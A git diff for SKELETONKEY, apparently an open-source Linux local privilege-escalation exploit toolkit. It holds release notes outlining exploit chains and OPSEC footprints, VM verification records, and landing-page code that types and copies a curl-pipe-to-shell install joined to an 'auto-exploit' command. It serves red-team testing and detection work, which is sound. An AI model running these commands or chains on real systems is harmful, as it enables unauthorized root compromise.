+Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
+pins user pages one at a time; if a later page faults, the error
+unwind drops the already-pinned pages, but the msg's scatterlist
+cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
+one pin refcount. Chain via io_uring fixed buffers to overwrite the
+page cache of a readable SUID binary → execve → root. Mainline fix
+commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
+distros only **Arch Linux** autoloads the rds module — Ubuntu /
+Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
+build it or blacklist autoload. `detect()` correctly returns OK
+on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
+status: primitive fires; full cred-overwrite via the shared
+modprobe_path finisher requires `--full-chain` on x86_64.
+
+### Corpus growth
+
+| | v0.7.1 | v0.8.0 |
+|---|---|---|
+| Modules registered | 31 | 34 |
+| Distinct CVEs | 26 | 29 |
+| 2025-CVE coverage | 0 | 2 |
+| Detection rules embedded | 119 | 131 |
+| Arch-independent (`any`) | 4 | 6 |
+| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
+| VM-verified | 22 | 22 |
+
+### Other changes
+
+- `tools/refresh-cve-metadata.py` — added curl fallback for the
+  CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
+  CISA's HTTP/2 endpoint).
+- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
+  with honest "no Vagrant box covers this yet" notes for
+  pintheft (needs Arch) and udisks_libblockdev (needs active
+  console session + udisks2 installed).
+
+---
+
+## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
+
+Point release on top of v0.7.0. Two additions:
+
+1. **`skeletonkey-arm64-static`** is now published alongside the
+   existing x86_64-static binary. Built native-arm64 in Alpine via
+   GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
+   Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
+   and any other aarch64 Linux. `install.sh` auto-picks it.
+
+2. **`arch_support` per module** — a new field on
+   `struct skeletonkey_module` that honestly labels which architectures
+   the `exploit()` body has been verified on. Three categories:
+
+   - **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
+     pack2theroot. Purely userspace; arch-independent.
+   - **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
+     x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
+     Already gated in source — returns PRECOND_FAIL on non-x86_64.
+   - **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
+     code that hasn't been verified on arm64 yet. `detect()` works
+     everywhere (it just reads `ctx->host`); the `exploit()` body uses
+     primitives (msg_msg sprays, ROP-style finishers, specific struct
+     offsets) that are likely portable to aarch64 but unproven.
+
+   `--list` adds an ARCH column; `--module-info` adds an `arch support:`
+   line; `--scan --json` adds an `arch_support` field per module.
+
+**What an arm64 user gets today:** the full detection/triage workflow
+works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
+`--detect-rules`, `--auto --dry-run`). Four exploit modules
+(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
+end-to-end. The remaining 26 modules currently mark themselves as
+"x86_64 verified; arm64 untested" — the bug class is generic but the
+exploitation hasn't been confirmed. Future arm64-Vagrant verification
+sweeps will promote modules to `any` as they're confirmed.
+
+---
+
+### From v0.7.0 — empirical verification + operator briefing
+
+The headline change since v0.6.0: **22 of 26 CVEs are now empirically
+confirmed against real Linux kernels in VMs**, with verification records
+baked into the binary and surfaced in `--list`, `--module-info`, and
+`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
+`dirtydecrypt`, `fragnesia`) are blocked by their target environment
+(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
+code — see
+[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
+for the rationale.
+
+### Install
+
+Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
+dynamic; all checksum-verified). Recommended for new installs:
+
+```bash
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
+skeletonkey --version
+```
+
+Static-musl x86_64 is the default — works back to glibc 2.17, no
+library dependencies.
+
+### What's in this release
+
+**Empirical verification (the big one)**
+- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
+  known-vulnerable kernels (stock distro or mainline via
+  `kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
+  records match/mismatch as JSONL.
+- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
+  Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
+- Per-module `verified_on[]` table baked into the binary. `--list` adds
+  a `VFY` column showing ✓ per verified module; footer prints
+  `31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
+  in real VMs (✓)`.
+- `--module-info <name>` adds a `--- verified on ---` section.
+- `--explain <name>` adds a `VERIFIED ON` section.
+
+**`--explain MODULE` — one-page operator briefing**
+
+A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
+CISA KEV status, host fingerprint, **live `detect()` trace** with
+verdict and interpretation, **OPSEC footprint** (what an exploit
+would leave on this host), detection-rule coverage matrix, and
+verification records. Paste-ready for triage tickets and SOC handoffs.
+
+**CVE metadata pipeline**
+
+`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
+Vulnerabilities catalog + NVD CWE classifications, generates
+`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
+lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
+technique mapping (T1068 by default; T1611 for container escapes;
+T1082 for kernel info leaks). All surfaced in `--list` (★ column),
+`--module-info`, `--explain`, and `--scan --json` (new `triage`
+sub-object per module).
+
+**Per-module OPSEC notes**
+
+Every module's struct now carries an `opsec_notes` paragraph describing
+the runtime telemetry footprint: file artifacts, dmesg signatures,
+syscall observables, network activity, persistence side effects,
+cleanup behavior. Grounded in source + existing detection rules — the
+inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
+in `--module-info` (text + JSON) and `--explain`.
+
+**119 detection rules across all 4 SIEM formats**
+
+Previously: auditd everywhere, sigma on top-10, yara/falco only on a
+handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
+(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
+timing side-channel with no syscall/file footprint;
+`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
+on-disk artifacts).
+
+**Test harness**
+
+88 tests on every push: 33 kernel_range / host-fingerprint unit tests
+(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
+multi-LTS, mainline-only) + 55 `detect()` integration tests
+(`tests/test_detect.c` — synthetic host fingerprints across 26
+modules). Coverage report at the end identifies any modules without
+direct test rows.
+
+**`core/host.c` shared host-fingerprint refactor**
+
+One probe of kernel / arch / distro / userns gates / apparmor /
+selinux / lockdown / sudo + polkit versions at startup. Every
+module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
+passthrough so `entrybleed` can distinguish "Not affected" (CPU
+immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
+EntryBleed) without re-reading sysfs.
+
+**kernel_range drift detector**
+
+`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
+reports drift between the embedded `kernel_patched_from` tables and
+what Debian actually ships. Already used to apply 9 corpus fixes in
+v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
+
+**Marketing-grade landing page**
+
+[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
+— animated hero, `--explain` showcase with line-by-line typed terminal,
+bento-grid features, KEV / verification stat chips. New Open Graph
+card renders correctly on Twitter/LinkedIn/Slack/Discord.
+
+### Real findings from the verifier
+
+A handful of cases that show the project's "verified-vs-claimed bar"
+thesis paying off in real time:
+
+- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
+  check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
+  but Ubuntu has silently backported the fix into the -91 patch level.
+  `--active` correctly identified the primitive as blocked → OK. Only
+  an empirical probe can tell.
+- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
+  expectation was wrong; 4.15 is post-fix. Caught + corrected by the
+  verifier sweep.
+- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
+  version, but the default vagrant user has no sudoers grant to abuse.
+  `detect()` correctly returns PRECOND_FAIL ("vuln version present, no
+  grant to abuse").
+
+### Coverage by audience
+
+- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
+  safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
+- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
+  prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
+  briefings.
+- **Researchers**: Source is the docs. CVE metadata sourced from
+  federal databases. `--explain` shows the reasoning chain. 22 VM
+  confirmations for trust.
+- **Sysadmins**: `--scan` works without sudo. Static-musl binary
+  drops on any Linux. JSON output for CI gates.
+
+### Compatibility
+
+- Default install: static-musl x86_64 — works on every Linux back to
+  glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
+- Also published: dynamic x86_64 (faster, modern glibc only) and
+  dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
+  servers).
+
+### Authorized testing only
+
+SKELETONKEY runs real exploits. By using it you assert you have
+explicit authorization to test the target system. See
+[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
+
+### Links
+
+- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
+- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
+- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
+- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
+- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
+- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)

docs/VERIFICATIONS.jsonl

@@ -0,0 +1,36 @@
+{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
+{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
+{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
+{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
+{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
+{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}

docs/app.js

@@ -0,0 +1,213 @@
+/* SKELETONKEY landing page — interactive bits.
+ * No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
+
+(function () {
+  'use strict';
+
+  const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
+
+  /* ============================================================
+   * 1. typed install command in the hero
+   * ============================================================ */
+  const installCmd =
+    'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n  && skeletonkey --auto --i-know';
+  const typedEl  = document.getElementById('install-typed');
+  const cursorEl = document.getElementById('install-cursor');
+
+  function typeInstall(cb) {
+    if (reduceMotion) {
+      typedEl.textContent = installCmd;
+      if (cursorEl) cursorEl.style.display = 'none';
+      if (cb) cb();
+      return;
+    }
+    let i = 0;
+    function step() {
+      typedEl.textContent = installCmd.slice(0, i);
+      i++;
+      if (i <= installCmd.length) {
+        setTimeout(step, 18 + Math.random() * 22);
+      } else {
+        if (cursorEl) {
+          // keep cursor blinking for 2s, then hide
+          setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
+        }
+        if (cb) cb();
+      }
+    }
+    step();
+  }
+
+  /* ============================================================
+   * 2. copy install command
+   * ============================================================ */
+  window.copyInstall = function (btn) {
+    const text = installCmd;
+    navigator.clipboard.writeText(text).then(() => {
+      const original = btn.textContent;
+      btn.textContent = 'copied!';
+      btn.classList.add('copied');
+      setTimeout(() => {
+        btn.textContent = original;
+        btn.classList.remove('copied');
+      }, 1500);
+    }).catch(() => {
+      btn.textContent = '(copy failed)';
+      setTimeout(() => { btn.textContent = 'copy'; }, 1500);
+    });
+  };
+
+  /* ============================================================
+   * 3. stat count-up animation on view
+   * ============================================================ */
+  function countUp(el) {
+    const target = parseInt(el.dataset.target, 10);
+    if (!target || reduceMotion) { el.textContent = target; return; }
+    const dur = 1100;
+    const start = performance.now();
+    function tick(now) {
+      const t = Math.min((now - start) / dur, 1);
+      // ease-out
+      const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
+      el.textContent = v;
+      if (t < 1) requestAnimationFrame(tick);
+    }
+    requestAnimationFrame(tick);
+  }
+
+  /* ============================================================
+   * 4. --explain terminal: line-by-line reveal
+   * ============================================================ */
+  const explainHTML = [
+    '\n',
+    '<span class="t-rule">════════════════════════════════════════════════════</span>\n',
+    ' <span class="t-mod">nf_tables</span>   <span class="t-cve">CVE-2024-1086</span>\n',
+    '<span class="t-rule">════════════════════════════════════════════════════</span>\n',
+    ' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
+    '\n',
+    '<span class="t-header">WEAKNESS</span>\n',
+    '  <span class="t-cwe">CWE-416</span>\n',
+    '  <span class="t-label">MITRE ATT&amp;CK:</span> <span class="t-tech">T1068</span>\n',
+    '\n',
+    '<span class="t-header">THREAT INTEL</span>\n',
+    '  <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
+    '  <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
+    '\n',
+    '<span class="t-header">HOST FINGERPRINT</span>\n',
+    '  <span class="t-label">kernel:</span>        5.15.0-43-generic (x86_64)\n',
+    '  <span class="t-label">distro:</span>        Ubuntu 22.04.5 LTS\n',
+    '  <span class="t-label">unpriv userns:</span> ALLOWED\n',
+    '\n',
+    '<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
+    '<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
+    '<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
+    '<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
+    '\n',
+    '<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
+    '  -&gt; bug is reachable. The OPSEC section below shows what a successful\n',
+    '     exploit() would leave on this host.\n',
+    '\n',
+    '<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
+    '  unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
+    '  NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
+    '  committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
+    '  kernels. Cleanup is finisher-gated; no persistent files on success.\n',
+    '\n',
+    '<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
+    '  <span class="t-check">✓</span> auditd    <span class="t-check">✓</span> sigma    <span class="t-check">✓</span> yara    <span class="t-check">✓</span> falco\n',
+  ];
+  function playExplain(el) {
+    if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
+    let i = 0;
+    el.innerHTML = '';
+    function step() {
+      if (i >= explainHTML.length) return;
+      el.innerHTML += explainHTML[i];
+      i++;
+      // pause longer on blank lines to feel like real terminal output
+      const next = explainHTML[i - 1];
+      const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
+      setTimeout(step, delay);
+    }
+    step();
+  }
+
+  /* ============================================================
+   * 5. quickstart tabs
+   * ============================================================ */
+  function initTabs() {
+    const tabs   = document.querySelectorAll('.tab');
+    const panels = document.querySelectorAll('.tab-panel');
+    tabs.forEach((t) => {
+      t.addEventListener('click', () => {
+        const tab = t.dataset.tab;
+        tabs.forEach((x) => x.classList.toggle('active', x === t));
+        panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
+      });
+    });
+  }
+
+  /* ============================================================
+   * 6. scroll-triggered reveal + first-time triggers
+   * ============================================================ */
+  function initReveal() {
+    if (!('IntersectionObserver' in window) || reduceMotion) {
+      document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
+      // also fire one-shot animations immediately
+      countAllStats();
+      const explainEl = document.getElementById('explain-output');
+      if (explainEl) playExplain(explainEl);
+      return;
+    }
+
+    const obs = new IntersectionObserver((entries) => {
+      entries.forEach((e) => {
+        if (e.isIntersecting) {
+          e.target.classList.add('in');
+          // fire one-shot effects when the right section becomes visible
+          if (e.target.id === 'explain') {
+            const out = e.target.querySelector('#explain-output');
+            if (out && !out.dataset.played) {
+              out.dataset.played = '1';
+              playExplain(out);
+            }
+          }
+          obs.unobserve(e.target);
+        }
+      });
+    }, { threshold: 0.15 });
+
+    document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
+  }
+
+  function countAllStats() {
+    document.querySelectorAll('.stat-chip .num').forEach(countUp);
+  }
+
+  /* fire the stats count-up as soon as the hero shows */
+  function initStatsCountUp() {
+    if (!('IntersectionObserver' in window) || reduceMotion) {
+      countAllStats();
+      return;
+    }
+    const row = document.getElementById('stats-row');
+    if (!row) return;
+    const o = new IntersectionObserver((es) => {
+      if (es[0].isIntersecting) {
+        countAllStats();
+        o.disconnect();
+      }
+    });
+    o.observe(row);
+  }
+
+  /* ============================================================
+   * boot
+   * ============================================================ */
+  document.addEventListener('DOMContentLoaded', () => {
+    typeInstall();
+    initTabs();
+    initReveal();
+    initStatsCountUp();
+  });
+})();

docs/index.html

@@ -0,0 +1,609 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8">
+<meta name="viewport" content="width=device-width, initial-scale=1.0">
+<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
+<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
+<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
+<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
+<meta property="og:type" content="website">
+<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
+<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
+<meta property="og:image:width" content="1200">
+<meta property="og:image:height" content="630">
+<meta name="twitter:card" content="summary_large_image">
+<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
+<meta name="theme-color" content="#0a0a14">
+
+<link rel="preconnect" href="https://fonts.googleapis.com">
+<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
+
+<link rel="stylesheet" href="style.css">
+</head>
+<body>
+
+<!-- gradient mesh background, animated, fixed behind content -->
+<div class="bg-mesh" aria-hidden="true">
+  <div class="mesh-blob mesh-blob-1"></div>
+  <div class="mesh-blob mesh-blob-2"></div>
+  <div class="mesh-blob mesh-blob-3"></div>
+</div>
+
+<nav class="nav">
+  <div class="container nav-inner">
+    <a class="nav-brand" href="#">
+      <span class="nav-mark" aria-hidden="true">◆</span>
+      SKELETONKEY
+    </a>
+    <div class="nav-links">
+      <a href="#corpus">Corpus</a>
+      <a href="#explain">--explain</a>
+      <a href="#detection">Detection</a>
+      <a href="#quickstart">Quickstart</a>
+      <a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
+        <svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
